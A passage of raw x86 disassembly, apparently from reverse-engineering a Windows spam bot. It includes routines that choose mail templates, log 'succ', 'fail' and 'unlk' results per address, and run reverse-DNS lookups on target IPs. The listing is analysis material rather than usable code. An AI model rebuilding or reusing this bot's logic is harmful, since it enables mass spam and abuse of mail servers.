byte ptr [ebp-4], 1 jz short loc_40240D mov ecx, [edi] add edi, 4 mov [eax], ecx push edi lea ecx, [eax+4] call sub_401C1E loc_40240D: ; CODE XREF: sub_4023B8+43j mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx pop ebx leave retn 8 sub_4023B8 endp ; =============== S U B R O U T I N E ======================================= sub_402420 proc near ; DATA XREF: .vty:004201C4o arg_0 = dword ptr 4 push dword ptr [ebp-14h] call sub_40DD8A pop ecx push 0 push 0 call sub_4107BC int 3 ; Trap to Debugger push esi push [esp+4+arg_0] mov esi, ecx call sub_401919 mov dword ptr [esi], offset off_41C2A8 mov eax, esi pop esi retn 4 sub_402420 endp ; --------------------------------------------------------------------------- loc_40244B: ; CODE XREF: .vty:0041B040j mov dword ptr [ecx], offset off_41EB28 retn ; =============== S U B R O U T I N E ======================================= sub_402452 proc near ; CODE XREF: .vty:00402471p push esi push edi mov esi, ecx push 0 mov edi, offset off_41EB28 push 1 lea ecx, [esi+10h] mov [esi], edi call sub_4013C4 mov [esi], edi pop edi pop esi retn sub_402452 endp ; --------------------------------------------------------------------------- loc_40246E: ; DATA XREF: .vty:off_41EB64o push esi mov esi, ecx call sub_402452 test byte ptr [esp+8], 1 jz short loc_402484 push esi call sub_40DD8A pop ecx loc_402484: ; CODE XREF: .vty:0040247Bj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_40248A: ; DATA XREF: .vty:off_41EB28o ; .vty:off_41EB58o ... test byte ptr [esp+4], 1 push esi mov esi, ecx mov dword ptr [esi], offset off_41EB28 jz short loc_4024A1 push esi call sub_40DD8A pop ecx loc_4024A1: ; CODE XREF: .vty:00402498j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4024A7 proc near ; CODE XREF: sub_402979+FBp ; sub_402BCF+39p ... arg_4 = dword ptr 8 mov eax, offset loc_41B0D4 call sub_41AE44 test byte ptr dword_424E54, 1 push esi mov esi, offset dword_424E58 jnz short loc_4024F9 or dword_424E54, 1 and [esp+4+arg_4], 0 call sub_401F7D and dword_424E78, 0 push esi mov dword_424E74, eax mov dword_424E7C, 0C8h call dword_41C068 ; InitializeCriticalSection push offset loc_41B689 call sub_40DBC0 pop ecx loc_4024F9: ; CODE XREF: sub_4024A7+17j mov ecx, [esp+4] mov eax, esi pop esi mov large fs:0, ecx leave retn sub_4024A7 endp ; =============== S U B R O U T I N E ======================================= sub_402509 proc near ; CODE XREF: sub_402E1F+18p mov eax, offset loc_41B0BC call sub_41AE44 push ecx push ebx push esi push edi mov edi, [ebp+8] lea esi, [edi+4] mov dword ptr [edi], offset off_41EB34 call sub_4012E2 xor ebx, ebx lea esi, [edi+20h] mov [ebp-4], ebx call sub_4012E2 lea esi, [edi+3Ch] call sub_4012E2 lea esi, [edi+58h] call sub_4012E2 lea eax, [edi+7Ch] mov [edi+78h], ebx mov [eax+4], ebx mov [eax+8], ebx mov [eax+0Ch], ebx mov byte ptr [ebp-4], 4 call sub_405A4E mov [edi+90h], eax mov [edi+94h], ebx mov byte ptr [ebp-4], 5 call sub_405A4E mov [edi+9Ch], eax mov [edi+0A0h], ebx lea eax, [edi+0A4h] mov [eax+4], ebx mov [eax+8], ebx mov [eax+0Ch], ebx mov [edi+0B4h], ebx mov [edi+0D0h], edi mov esi, dword_41C068 mov [edi+0DCh], ebx lea eax, [edi+0E0h] mov [eax+4], ebx mov [eax+8], ebx mov [eax+0Ch], ebx lea eax, [edi+0F0h] mov [eax+4], ebx mov [eax+8], ebx mov [eax+0Ch], ebx mov [eax+10h], ebx lea eax, [edi+0B8h] push eax call esi ; InitializeCriticalSection lea eax, [edi+108h] push eax call esi ; InitializeCriticalSection mov esi, dword_41C098 push ebx push ebx push ebx push ebx call esi ; CreateEventA push ebx push ebx push 1 push ebx mov [edi+0D8h], eax call esi ; CreateEventA mov ecx, [ebp-0Ch] mov [edi+104h], eax mov eax, edi pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_402509 endp ; =============== S U B R O U T I N E ======================================= sub_40260A proc near ; CODE XREF: .vty:00402E52p ; .vty:0041B66Bj push ebx push esi push dword ptr [edi+104h] mov esi, dword_41C0D4 mov dword ptr [edi], offset off_41EB34 call esi ; CloseHandle push dword ptr [edi+0D8h] call esi ; CloseHandle mov esi, dword_41C0CC lea eax, [edi+108h] push eax call esi ; RtlDeleteCriticalSection lea eax, [edi+0B8h] push eax call esi ; RtlDeleteCriticalSection lea esi, [edi+0F0h] call sub_405D42 lea esi, [edi+0E4h] mov eax, [esi] xor ebx, ebx cmp eax, ebx jz short loc_402660 push eax call sub_40DD8A pop ecx loc_402660: ; CODE XREF: sub_40260A+4Dj mov [esi], ebx lea esi, [edi+0D0h] mov [edi+0E8h], ebx mov [edi+0ECh], ebx call sub_40B9E7 lea esi, [edi+0A4h] call sub_405AAC lea eax, [edi+98h] call sub_40558B lea eax, [edi+8Ch] call sub_40558B lea esi, [edi+7Ch] call sub_405809 xor esi, esi push ebx inc esi push esi lea ecx, [edi+58h] call sub_4013C4 push ebx push esi lea ecx, [edi+3Ch] call sub_4013C4 push ebx push esi lea ecx, [edi+20h] call sub_4013C4 push ebx push esi lea ecx, [edi+4] call sub_4013C4 pop esi pop ebx retn sub_40260A endp ; =============== S U B R O U T I N E ======================================= sub_4026D0 proc near ; CODE XREF: sub_40D6C9+Cp var_4 = dword ptr -4 push ecx push ebx lea ebx, [esi+108h] push edi mov edi, dword_41C070 mov [esp+0Ch+var_4], ebx jmp short loc_402706 ; --------------------------------------------------------------------------- loc_4026E5: ; CODE XREF: sub_4026D0+40j push dword ptr [esi+104h] call dword_41C0B4 ; ResetEvent push ebx call dword_41C06C ; RtlLeaveCriticalSection push 0FFFFFFFFh push dword ptr [esi+104h] call dword_41C084 ; WaitForSingleObject loc_402706: ; CODE XREF: sub_4026D0+13j push ebx call edi ; RtlEnterCriticalSection cmp dword ptr [esi+100h], 0 jz short loc_4026E5 mov eax, [esi+100h] push ebp mov ebp, [esi+0FCh] add eax, ebp cmp ebp, eax jbe short loc_40272A call sub_40DCFC loc_40272A: ; CODE XREF: sub_4026D0+53j mov eax, [esi+100h] add eax, [esi+0FCh] mov edi, ebp mov ebx, ebp shr edi, 2 and ebx, 3 cmp ebp, eax pop ebp jb short loc_40274A call sub_40DCFC loc_40274A: ; CODE XREF: sub_4026D0+73j mov eax, [esi+0F8h] cmp eax, edi ja short loc_402756 sub edi, eax loc_402756: ; CODE XREF: sub_4026D0+82j mov eax, [esi+0F4h] mov eax, [eax+edi*4] mov ebx, [eax+ebx*4] mov eax, [esi+100h] test eax, eax jz short loc_40279C inc dword ptr [esi+0FCh] mov edx, [esi+0F8h] mov ecx, [esi+0FCh] shl edx, 2 cmp edx, ecx ja short loc_40278C and dword ptr [esi+0FCh], 0 loc_40278C: ; CODE XREF: sub_4026D0+B3j dec eax mov [esi+100h], eax jnz short loc_40279C and dword ptr [esi+0FCh], 0 loc_40279C: ; CODE XREF: sub_4026D0+9Aj ; sub_4026D0+C3j push dword ptr [esp+8] inc dword ptr [esi+0DCh] call dword_41C06C ; RtlLeaveCriticalSection pop edi mov eax, ebx pop ebx pop ecx retn sub_4026D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4027B2 proc near ; CODE XREF: sub_407E77+2Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, eax lea edi, [esi+0B8h] push edi call dword_41C070 ; RtlEnterCriticalSection mov ecx, [ebp+arg_0] add esi, 58h push esi call sub_401C1E push edi call dword_41C06C ; RtlLeaveCriticalSection mov eax, [ebp+arg_0] pop edi pop esi leave retn 4 sub_4027B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4027E7 proc near ; CODE XREF: sub_407784+8Cp ; sub_407784+15Dp ... var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1Ch push ebx lea eax, [edi+0B8h] push esi push eax mov [ebp+var_14], eax call dword_41C070 ; RtlEnterCriticalSection mov esi, [edi+78h] mov ebx, [esi] call sub_40FA86 mov ecx, [esi+4] sub ecx, ebx xor edx, edx inc ecx div ecx and [ebp+var_8], 0 add edx, ebx test edx, edx mov [ebp+var_10], edx jle loc_4028F2 loc_402824: ; CODE XREF: sub_4027E7+105j mov esi, [ebp+arg_4] call sub_406402 mov ebx, eax mov eax, [ebx+24h] add ebx, 1Ch cmp [ebx+4], eax mov [ebp+var_C], eax jbe short loc_402841 call sub_40DCFC loc_402841: ; CODE XREF: sub_4027E7+53j call sub_406402 mov esi, eax add esi, 2Ch mov eax, [esi] test eax, eax jz short loc_402855 cmp eax, ebx jz short loc_40285A loc_402855: ; CODE XREF: sub_4027E7+68j call sub_40DCFC loc_40285A: ; CODE XREF: sub_4027E7+6Cj mov eax, [ebp+var_C] cmp [esi+4], eax jz loc_4028F2 mov esi, [ebp+arg_4] call sub_406402 lea esi, [eax+2Ch] call sub_409835 mov esi, [ebp+arg_0] mov ebx, eax mov eax, [esi+4] test eax, eax mov [ebp+var_C], ebx jnz short loc_402889 xor edx, edx jmp short loc_402891 ; --------------------------------------------------------------------------- loc_402889: ; CODE XREF: sub_4027E7+9Cj mov edx, [esi+8] sub edx, eax sar edx, 2 loc_402891: ; CODE XREF: sub_4027E7+A0j test eax, eax jz short loc_4028AE mov ecx, [esi+0Ch] sub ecx, eax sar ecx, 2 cmp edx, ecx jnb short loc_4028AE mov eax, [esi+8] mov [eax], ebx add eax, 4 mov [esi+8], eax jmp short loc_4028CB ; --------------------------------------------------------------------------- loc_4028AE: ; CODE XREF: sub_4027E7+ACj ; sub_4027E7+B8j mov ebx, [esi+8] cmp eax, ebx jbe short loc_4028BA call sub_40DCFC loc_4028BA: ; CODE XREF: sub_4027E7+CCj push ebx push esi lea eax, [ebp+var_C] push eax lea eax, [ebp+var_1C] push eax mov eax, esi call sub_405DB3 loc_4028CB: ; CODE XREF: sub_4027E7+C5j dec dword ptr [edi+0B4h] mov esi, [ebp+arg_4] inc [ebp+var_8] call sub_406402 mov esi, eax add esi, 2Ch call sub_40556B mov eax, [ebp+var_8] cmp eax, [ebp+var_10] jl loc_402824 loc_4028F2: ; CODE XREF: sub_4027E7+37j ; sub_4027E7+79j mov eax, [edi+78h] mov eax, [eax+0Ch] mov ecx, [ebp+arg_8] push [ebp+var_14] mov [ecx], eax call dword_41C06C ; RtlLeaveCriticalSection mov eax, [ebp+var_8] pop esi pop ebx leave retn 0Ch sub_4027E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40290F proc near ; CODE XREF: sub_407784+177p ; sub_407C9A+18Dp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h push esi push edi mov edi, eax mov eax, [edi] mov [ebp+var_C], eax mov eax, [edi+4] mov [ebp+var_8], eax lea eax, [ebx+0B8h] push eax mov [ebp+var_4], eax call dword_41C070 ; RtlEnterCriticalSection mov esi, edi call sub_406402 add eax, 34h dec dword ptr [eax] jnz short loc_40296C lea esi, [ebp+var_C] call sub_405D8F push [ebp+var_8] lea eax, [ebx+98h] push [ebp+var_C] mov ecx, [eax+4] push dword ptr [edi+4] push dword ptr [edi] lea edi, [ebx+8Ch] push ecx push eax push eax call sub_4055EA loc_40296C: ; CODE XREF: sub_40290F+31j push [ebp+var_4] call dword_41C06C ; RtlLeaveCriticalSection pop edi pop esi leave retn sub_40290F endp ; =============== S U B R O U T I N E ======================================= sub_402979 proc near ; CODE XREF: sub_407784+B8p ; sub_407C9A+BCp mov eax, offset loc_41AFA6 call sub_41AE44 sub esp, 20h push ebx push esi push edi mov edi, ecx xor ebx, ebx push ebx lea ecx, [ebp-2Ch] mov dword ptr [ebp-14h], 0Fh call sub_401564 lea eax, [edi+0B8h] push eax mov [ebp-4], ebx mov [ebp-10h], eax call dword_41C070 ; RtlEnterCriticalSection push 0FFFFFFFFh push ebx lea eax, [edi+3Ch] push eax lea ecx, [ebp-2Ch] call sub_401315 cmp [ebp-18h], ebx jz short loc_4029CC mov eax, [edi+78h] cmp [eax+18h], bl jz short loc_402A1A loc_4029CC: ; CODE XREF: sub_402979+49j lea esi, [edi+0A4h] mov eax, esi call sub_4057B6 test eax, eax jz short loc_402A1A mov eax, esi call sub_4057B6 mov esi, eax call sub_40FA86 xor edx, edx div esi lea eax, [edi+0A4h] mov esi, edx call sub_4057B6 cmp esi, eax jb short loc_402A05 call sub_40DCFC loc_402A05: ; CODE XREF: sub_402979+85j imul esi, 1Ch add esi, [edi+0A8h] push 0FFFFFFFFh push ebx push esi lea ecx, [ebp-2Ch] call sub_401315 loc_402A1A: ; CODE XREF: sub_402979+51j ; sub_402979+62j lea esi, [edi+7Ch] mov eax, esi call sub_4058AA test eax, eax jz short loc_402A66 cmp [ebp-18h], ebx jz short loc_402A66 push dword ptr [ebp+14h] lea eax, [ebp-2Ch] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push eax push dword ptr [ebp+8] mov eax, esi call sub_4058AA mov edi, eax call sub_40FA86 xor edx, edx div edi push edx call sub_4058C0 push eax call sub_408593 push dword ptr [ebp-10h] call dword_41C06C ; RtlLeaveCriticalSection jmp short loc_402A84 ; --------------------------------------------------------------------------- loc_402A66: ; CODE XREF: sub_402979+ADj ; sub_402979+B2j push dword ptr [ebp-10h] call dword_41C06C ; RtlLeaveCriticalSection push offset aMailbotGetmess ; "MailBot::getMessage: no templates or no"... call sub_4024A7 push eax push 2 pop ecx call sub_40195C pop ecx pop ecx loc_402A84: ; CODE XREF: sub_402979+EBj push ebx push 1 lea ecx, [ebp-2Ch] call sub_4013C4 mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 10h sub_402979 endp ; =============== S U B R O U T I N E ======================================= sub_402AA0 proc near ; CODE XREF: sub_40B49B+CDp mov eax, offset loc_41B045 call sub_41AE44 sub esp, 1Ch push ebx push esi mov esi, dword_41C070 lea ebx, [edi+0B8h] push ebx call esi ; RtlEnterCriticalSection mov eax, [edi+78h] mov eax, [eax+10h] push ebx mov [ebp-18h], eax call dword_41C06C ; RtlLeaveCriticalSection lea eax, [edi+108h] push eax mov [ebp-20h], eax call esi ; RtlEnterCriticalSection mov esi, [ebp+8] call sub_406402 mov esi, [ebp+0Ch] and dword ptr [ebp-14h], 0 add eax, 34h dec dword ptr [eax] mov ebx, [esi+4] cmp ebx, [esi+8] jbe short loc_402AFB call sub_40DCFC loc_402AFB: ; CODE XREF: sub_402AA0+54j mov [ebp-28h], esi mov [ebp-24h], ebx loc_402B01: ; CODE XREF: sub_402AA0+105j mov ebx, [esi+8] cmp [esi+4], ebx jbe short loc_402B0E call sub_40DCFC loc_402B0E: ; CODE XREF: sub_402AA0+67j cmp [ebp-24h], ebx jz loc_402BAA mov eax, [ebp-14h] cmp eax, [ebp-18h] jnb loc_402BAA mov esi, [ebp+8] call sub_406402 add eax, 34h inc dword ptr [eax] push 2Ch call sub_40DE68 mov ebx, eax pop ecx mov [ebp-1Ch], ebx and dword ptr [ebp-4], 0 test ebx, ebx jz short loc_402B73 lea esi, [ebp-28h] call sub_409835 mov [ebx+4], edi mov ecx, [ebp+8] mov byte ptr [ebp-4], 1 mov dword ptr [ebx], offset off_41EB64 mov edx, [ecx] mov [ebx+8], edx mov ecx, [ecx+4] mov [ebx+0Ch], ecx push eax lea ecx, [ebx+10h] call sub_401C1E jmp short loc_402B75 ; --------------------------------------------------------------------------- loc_402B73: ; CODE XREF: sub_402AA0+A3j xor ebx, ebx loc_402B75: ; CODE XREF: sub_402AA0+D1j or dword ptr [ebp-4], 0FFFFFFFFh lea eax, [ebp-1Ch] push eax lea eax, [edi+0F0h] mov [ebp-1Ch], ebx call sub_4058F2 mov eax, [ebp+0Ch] mov ecx, [ebp-24h] cmp ecx, [eax+8] jb short loc_402B9B call sub_40DCFC loc_402B9B: ; CODE XREF: sub_402AA0+F4j add dword ptr [ebp-24h], 1Ch inc dword ptr [ebp-14h] mov esi, [ebp+0Ch] jmp loc_402B01 ; --------------------------------------------------------------------------- loc_402BAA: ; CODE XREF: sub_402AA0+71j ; sub_402AA0+7Dj push dword ptr [edi+104h] call dword_41C088 ; SetEvent push dword ptr [ebp-20h] call dword_41C06C ; RtlLeaveCriticalSection mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx pop ebx leave retn 8 sub_402AA0 endp ; =============== S U B R O U T I N E ======================================= sub_402BCF proc near ; CODE XREF: sub_407784+124p mov eax, offset loc_41B2BE call sub_41AE44 sub esp, 40h push ebx xor ebx, ebx cmp [edi+58h], bl push esi jz short loc_402C22 cmp dword ptr [edi+34h], 10h jb short loc_402BF0 mov ecx, [edi+20h] jmp short loc_402BF3 ; --------------------------------------------------------------------------- loc_402BF0: ; CODE XREF: sub_402BCF+1Aj lea ecx, [edi+20h] loc_402BF3: ; CODE XREF: sub_402BCF+1Fj cmp dword ptr [edi+18h], 10h jb short loc_402BFE mov eax, [edi+4] jmp short loc_402C01 ; --------------------------------------------------------------------------- loc_402BFE: ; CODE XREF: sub_402BCF+28j lea eax, [edi+4] loc_402C01: ; CODE XREF: sub_402BCF+2Dj push ecx push eax push offset aSuccS@S ; "succ: %s@%s\n" call sub_4024A7 push eax push 5 pop ecx call sub_40195C add esp, 10h mov byte ptr [edi+59h], 3 jmp loc_402E0F ; --------------------------------------------------------------------------- loc_402C22: ; CODE XREF: sub_402BCF+14j cmp dword ptr [edi+54h], 0FFFFFFFFh jnz short loc_402C65 cmp dword ptr [edi+34h], 10h jb short loc_402C33 mov ecx, [edi+20h] jmp short loc_402C36 ; --------------------------------------------------------------------------- loc_402C33: ; CODE XREF: sub_402BCF+5Dj lea ecx, [edi+20h] loc_402C36: ; CODE XREF: sub_402BCF+62j cmp dword ptr [edi+18h], 10h jb short loc_402C41 mov eax, [edi+4] jmp short loc_402C44 ; --------------------------------------------------------------------------- loc_402C41: ; CODE XREF: sub_402BCF+6Bj lea eax, [edi+4] loc_402C44: ; CODE XREF: sub_402BCF+70j push ecx push eax push offset aUnlkS@SConnect ; "unlk: %s@%s (connection error)\n" call sub_4024A7 push eax push 5 pop ecx call sub_40195C add esp, 10h mov byte ptr [edi+59h], 2 jmp loc_402E0F ; --------------------------------------------------------------------------- loc_402C65: ; CODE XREF: sub_402BCF+57j push ebx lea ecx, [ebp-48h] mov dword ptr [ebp-30h], 0Fh call sub_401564 mov [ebp-4], ebx mov eax, [edi+4Ch] cmp eax, [ebp-34h] ja short loc_402C8D push 0FFFFFFFFh push eax lea ecx, [ebp-48h] call sub_4014F5 jmp short loc_402C9B ; --------------------------------------------------------------------------- loc_402C8D: ; CODE XREF: sub_402BCF+AFj push ebx mov ebx, eax sub ebx, [ebp-34h] lea esi, [ebp-48h] call sub_40140F loc_402C9B: ; CODE XREF: sub_402BCF+BCj lea eax, [ebp-14h] lea ecx, [ebp-48h] call sub_405472 mov esi, eax lea ecx, [edi+38h] lea eax, [ebp-1Ch] call sub_405492 mov ebx, eax lea eax, [ebp-24h] lea ecx, [edi+38h] call sub_405472 push dword ptr [esi+4] push dword ptr [esi] push dword ptr [ebx+4] push dword ptr [ebx] lea ebx, [ebp-2Ch] push dword ptr [eax+4] push dword ptr [eax] call sub_406A1C mov eax, [ebp+8] mov esi, [eax+78h] mov ebx, [esi+20h] add esi, 1Ch add esp, 18h cmp ebx, [esi+8] jbe short loc_402CF0 call sub_40DCFC loc_402CF0: ; CODE XREF: sub_402BCF+11Aj mov [ebp-14h], esi mov [ebp-10h], ebx loc_402CF6: ; CODE XREF: sub_402BCF+1A0j mov eax, [ebp+8] mov esi, [eax+78h] mov ebx, [esi+24h] add esi, 1Ch cmp [esi+4], ebx jbe short loc_402D0C call sub_40DCFC loc_402D0C: ; CODE XREF: sub_402BCF+136j cmp dword ptr [ebp-14h], 0 jz short loc_402D17 cmp [ebp-14h], esi jz short loc_402D1C loc_402D17: ; CODE XREF: sub_402BCF+141j call sub_40DCFC loc_402D1C: ; CODE XREF: sub_402BCF+146j cmp [ebp-10h], ebx jz loc_402DBC lea esi, [ebp-14h] call sub_409835 mov ecx, [eax+14h] push 10h pop ebx cmp [eax+18h], ebx jb short loc_402D3D mov eax, [eax+4] jmp short loc_402D40 ; --------------------------------------------------------------------------- loc_402D3D: ; CODE XREF: sub_402BCF+167j add eax, 4 loc_402D40: ; CODE XREF: sub_402BCF+16Cj push ecx push eax lea eax, [ebp-48h] push eax xor eax, eax call sub_401E6B cmp eax, 0FFFFFFFFh jnz short loc_402D71 mov esi, [ebp-14h] test esi, esi jnz short loc_402D5E call sub_40DCFC loc_402D5E: ; CODE XREF: sub_402BCF+188j mov eax, [ebp-10h] cmp eax, [esi+8] jb short loc_402D6B call sub_40DCFC loc_402D6B: ; CODE XREF: sub_402BCF+195j add dword ptr [ebp-10h], 1Ch jmp short loc_402CF6 ; --------------------------------------------------------------------------- loc_402D71: ; CODE XREF: sub_402BCF+181j lea esi, [ebp-14h] call sub_409835 cmp [eax+18h], ebx jb short loc_402D83 mov eax, [eax+4] jmp short loc_402D86 ; --------------------------------------------------------------------------- loc_402D83: ; CODE XREF: sub_402BCF+1ADj add eax, 4 loc_402D86: ; CODE XREF: sub_402BCF+1B2j cmp [edi+34h], ebx jb short loc_402D90 mov edx, [edi+20h] jmp short loc_402D93 ; --------------------------------------------------------------------------- loc_402D90: ; CODE XREF: sub_402BCF+1BAj lea edx, [edi+20h] loc_402D93: ; CODE XREF: sub_402BCF+1BFj cmp [edi+18h], ebx jb short loc_402D9D mov ecx, [edi+4] jmp short loc_402DA0 ; --------------------------------------------------------------------------- loc_402D9D: ; CODE XREF: sub_402BCF+1C7j lea ecx, [edi+4] loc_402DA0: ; CODE XREF: sub_402BCF+1CCj push eax push edx push ecx push offset aFailS@SMatched ; "fail: %s@%s matched string '%s'\n" call sub_4024A7 push eax push 5 pop ecx call sub_40195C mov byte ptr [edi+59h], 1 jmp short loc_402E00 ; --------------------------------------------------------------------------- loc_402DBC: ; CODE XREF: sub_402BCF+150j cmp dword ptr [edi+50h], 10h jb short loc_402DC7 mov edx, [edi+3Ch] jmp short loc_402DCA ; --------------------------------------------------------------------------- loc_402DC7: ; CODE XREF: sub_402BCF+1F1j lea edx, [edi+3Ch] loc_402DCA: ; CODE XREF: sub_402BCF+1F6j cmp dword ptr [edi+34h], 10h jb short loc_402DD5 mov ecx, [edi+20h] jmp short loc_402DD8 ; --------------------------------------------------------------------------- loc_402DD5: ; CODE XREF: sub_402BCF+1FFj lea ecx, [edi+20h] loc_402DD8: ; CODE XREF: sub_402BCF+204j cmp dword ptr [edi+18h], 10h jb short loc_402DE3 mov eax, [edi+4] jmp short loc_402DE6 ; --------------------------------------------------------------------------- loc_402DE3: ; CODE XREF: sub_402BCF+20Dj lea eax, [edi+4] loc_402DE6: ; CODE XREF: sub_402BCF+212j push edx push ecx push eax push offset aUnlkS@SS ; "unlk: %s@%s (%s)\n" call sub_4024A7 push eax push 5 pop ecx call sub_40195C mov byte ptr [edi+59h], 0 loc_402E00: ; CODE XREF: sub_402BCF+1EBj add esp, 14h push 0 push 1 lea ecx, [ebp-48h] call sub_4013C4 loc_402E0F: ; CODE XREF: sub_402BCF+4Ej ; sub_402BCF+91j mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_402BCF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_402E1F proc near ; CODE XREF: sub_4080EE+65p mov eax, offset loc_41B670 call sub_41AE44 sub esp, 128h push edi lea eax, [ebp-134h] push eax call sub_402509 and dword ptr [ebp-4], 0 lea eax, [ebp-134h] push eax call sub_405089 sub_402E1F endp ; --------------------------------------------------------------------------- lea edi, [ebp-134h] call sub_40260A mov ecx, [ebp-0Ch] mov large fs:0, ecx pop edi leave retn ; =============== S U B R O U T I N E ======================================= sub_402E64 proc near ; CODE XREF: sub_402F64+114p mov eax, offset loc_41B029 call sub_41AE44 sub esp, 48h push ebx push esi push edi xor ebx, ebx push ebx lea ecx, [ebp-38h] mov [ebp-10h], ebx mov dword ptr [ebp-20h], 0Fh call sub_401564 or esi, 0FFFFFFFFh mov [ebp-4], ebx mov [ebp-14h], esi mov [ebp-18h], esi mov [ebp-1Ch], esi mov eax, esi mov [ebp-10h], ebx loc_402E9D: ; CODE XREF: sub_402E64+59j mov edi, [ebp+0Ch] push eax call sub_4054B7 cmp eax, ebx mov ecx, [ebp-10h] mov [ebp+ecx*4-1Ch], eax jz short loc_402EBF cmp eax, esi jz short loc_402EBF dec eax inc dword ptr [ebp-10h] cmp dword ptr [ebp-10h], 3 jl short loc_402E9D loc_402EBF: ; CODE XREF: sub_402E64+4Bj ; sub_402E64+4Fj mov eax, [ebp-1Ch] cmp eax, esi jnz short loc_402EE3 mov ecx, [ebp+8] push offset dword_41E020 call sub_401C44 push ebx push 1 lea ecx, [ebp-38h] call sub_4013C4 mov eax, [ebp+8] jmp short loc_402F4E ; --------------------------------------------------------------------------- loc_402EE3: ; CODE XREF: sub_402E64+60j push esi inc eax push eax push edi lea esi, [ebp-54h] call sub_405527 push 0FFFFFFFFh push ebx push eax lea ecx, [ebp-38h] mov byte ptr [ebp-4], 1 call sub_401315 push ebx push 1 mov ecx, esi mov [ebp-4], bl call sub_4013C4 cmp off_424310, ebx mov edi, offset off_424310 jz short loc_402F2F loc_402F19: ; CODE XREF: sub_402E64+C9j push dword ptr [edi] lea esi, [ebp-38h] call sub_406A6D test al, al pop ecx jnz short loc_402F5F add edi, 4 cmp [edi], ebx jnz short loc_402F19 loc_402F2F: ; CODE XREF: sub_402E64+B3j mov eax, [ebp-14h] loc_402F32: ; CODE XREF: sub_402E64+FEj mov esi, [ebp+8] push 0FFFFFFFFh inc eax push eax push dword ptr [ebp+0Ch] call sub_405527 push ebx push 1 lea ecx, [ebp-38h] call sub_4013C4 mov eax, esi loc_402F4E: ; CODE XREF: sub_402E64+7Dj mov ecx, [ebp-0Ch] pop edi pop esi pop ebx mov large fs:0, ecx leave retn 8 ; --------------------------------------------------------------------------- loc_402F5F: ; CODE XREF: sub_402E64+C2j mov eax, [ebp-18h] jmp short loc_402F32 sub_402E64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402F64 proc near ; DATA XREF: .vty:off_41EB34o var_158 = dword ptr -158h var_154 = dword ptr -154h var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = byte ptr -148h var_144 = dword ptr -144h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_110 = byte ptr -110h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp and esp, 0FFFFFFF8h push 0FFFFFFFFh push offset SEH_402F64 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 150h push ebx push esi push edi xor ebx, ebx mov esi, ecx push ebx lea ecx, [esp+16Ch+var_148] mov [esp+16Ch+var_158], ebx mov [esp+16Ch+var_130], 0Fh call sub_401564 mov [esp+168h+var_4], ebx movzx eax, byte ptr [ebp+arg_4] push eax movzx eax, byte ptr [ebp+arg_4+1] push eax movzx eax, byte ptr [ebp+arg_4+2] push eax mov eax, [ebp+arg_4] shr eax, 18h push eax push offset aD_D_D_D_inAddr ; "%d.%d.%d.%d.in-addr.arpa" lea eax, [esp+17Ch+var_110] push 100h push eax call sub_40D9FB add esp, 1Ch push 0FFFFFFFFh lea edi, [esi+4] push ebx push edi lea ecx, [esp+174h+var_148] mov [esp+174h+var_150], edi call sub_401315 push [ebp+arg_4] call dword_41C1FC ; inet_ntoa push eax mov ecx, edi call sub_4013A7 lea eax, [esi+20h] mov [esp+168h+var_154], eax call sub_4053F0 lea eax, [esi+3Ch] mov [esp+168h+var_14C], eax call sub_4053F0 cmp [esp+168h+var_130], 10h mov eax, [esp+168h+var_144] jnb short loc_403022 lea eax, [esp+168h+var_144] loc_403022: ; CODE XREF: sub_402F64+B8j mov edi, [esp+168h+var_134] push eax mov eax, [esp+16Ch+var_150] mov ecx, [eax+14h] call sub_4059BE test eax, eax jz short loc_40303D push esi call sub_403E41 loc_40303D: ; CODE XREF: sub_402F64+D1j push ebx lea eax, [esp+16Ch+var_158] push eax push ebx push 100h push 0Ch lea eax, [esp+17Ch+var_110] push eax call sub_40D772 ; DnsQuery_A test eax, eax jnz short loc_4030BB mov edi, [esp+168h+var_158] jmp short loc_4030AC ; --------------------------------------------------------------------------- loc_40305F: ; CODE XREF: sub_402F64+14Aj mov eax, [esp+168h+var_158] push dword ptr [eax+18h] mov ecx, [esp+16Ch+var_154] call sub_4013A7 push [esp+168h+var_154] lea eax, [esp+16Ch+var_12C] push eax call sub_402E64 mov ecx, [esp+168h+var_14C] push 0FFFFFFFFh push ebx push eax mov byte ptr [esp+174h+var_4], 1 call sub_401315 push ebx push 1 lea ecx, [esp+170h+var_12C] mov byte ptr [esp+170h+var_4], bl call sub_4013C4 cmp [esi+50h], ebx jnz short loc_4030B0 mov edi, [edi] loc_4030AC: ; CODE XREF: sub_402F64+F9j cmp edi, ebx jnz short loc_40305F loc_4030B0: ; CODE XREF: sub_402F64+144j push 1 push [esp+16Ch+var_158] call sub_40D778 ; DnsRecordListFree loc_4030BB: ; CODE XREF: sub_402F64+F3j cmp [esi+34h], ebx mov esi, [esp+168h+var_150] jnz short loc_4030D1 mov ecx, [esp+168h+var_154] push 0FFFFFFFFh push ebx push 